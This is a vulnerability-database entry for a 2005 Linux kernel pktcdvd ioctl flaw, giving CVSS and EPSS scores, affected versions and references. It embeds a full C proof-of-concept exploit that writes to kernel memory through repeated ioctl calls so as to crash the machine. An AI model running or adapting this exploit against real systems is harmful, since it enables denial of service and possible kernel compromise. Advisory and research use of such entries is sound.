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Descriptions
The pkt_ioctl function in the pktcdvd block device ioctl handler (pktcdvd.c) in Linux kernel 2.6.12-rc4 and earlier calls the wrong function before passing an ioctl to the block device, which crosses security boundaries by making kernel address space accessible from user space and allows local users to cause a denial of service and possibly execute arbitrary code, a similar vulnerability to CVE-2005-1264.
Informations
Metrics
| Metric | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 7.2 | AV:L/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 998
Publication date : 2005-05-16 22:00 +00:00
Author : alert7
EDB Verified : Yes
/* pktcdvd_dos.c proof-of-concept
* This is only a lame POC which will crash the machine, no root shell here.
* --- alert7
* 2005-5-15
* the vulnerability in 2.6 up to and including 2.6.12-rc4
*
* gcc -o pktcdvd_dos pktcdvd_dos.c
*
* NOTE: require user can read pktcdvd block device
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __NR_sys_ioctl __NR_ioctl
#define PKTCDVDDEVICE "/dev/hdc"
static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);
struct idtr {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed));
unsigned int get_addr_idt() {
struct idtr idtr;
asm("sidt %0" : "=m" (idtr));
return idtr.base;
}
struct desc_struct {
unsigned long a,b;
};
int main(int argc,char **argv)
{
unsigned int ptr_idt;
int iret ;
int fd;
printf("[++]user stack addr %p \n",&ptr_idt);
if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
return -1;
}
ptr_idt=get_addr_idt();
printf("[++]IDT Addr %p \n",ptr_idt);
fd = open(PKTCDVDDEVICE,O_RDONLY);
if (fd ==-1)
{
printf("[--]");
fflush(stdout);
perror("open");
return -1;
}
unsigned long WriteTo ;
if ( (ptr_idt>>24)==0xc0){
printf("[++]this OS in Real Linux\n");
WriteTo= ptr_idt;
}else{
printf("[++]this OS maybe in VMWARE\n");
WriteTo = 0xc0100000;
}
printf("[++]call sys_ioctl will crash machine\n");
fflush(stdout);
int loopi;
for (loopi=0;loopi<0x100000 ;loopi++ )
{
printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
fflush(stdout);
iret = sys_ioctl(fd,
CDROM_LAST_WRITTEN,
WriteTo+loopi*4);
if (iret ==-1)
{
printf("[--]");
fflush(stdout);
perror("ioctl");
//if in VMWARE ,rewrite ptr_idt adress will failed
printf("[--]still aliving\n");
close(fd);
return -1;
}
}
close(fd);
return 0;
}
// milw0rm.com [2005-05-17]
Products Mentioned
Configuraton 0
Linux>>Linux_kernel >> Version To (including) 2.6.12
- Linux>>Linux_kernel >> Version 2.2.21 (Open CPE detail)
- Linux>>Linux_kernel >> Version 2.2.24 (Open CPE detail)
- Linux>>Linux_kernel >> Version 2.6.3 (Open CPE detail)
- Linux>>Linux_kernel >> Version 2.6.8 (Open CPE detail)
- Linux>>Linux_kernel >> Version 2.6.9 (Open CPE detail)
- Linux>>Linux_kernel >> Version 2.6.11 (Open CPE detail)
- Linux>>Linux_kernel >> Version 2.6.12 (Open CPE detail)
References
http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0045.html
Tags : mailing-list, x_refsource_VULNWATCH
Tags : mailing-list, x_refsource_VULNWATCH
http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0046.html
Tags : mailing-list, x_refsource_VULNWATCH
Tags : mailing-list, x_refsource_VULNWATCH
http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0047.html
Tags : mailing-list, x_refsource_VULNWATCH
Tags : mailing-list, x_refsource_VULNWATCH
http://www.mandriva.com/security/advisories?name=MDKSA-2005:219
Tags : vendor-advisory, x_refsource_MANDRAKE
Tags : vendor-advisory, x_refsource_MANDRAKE
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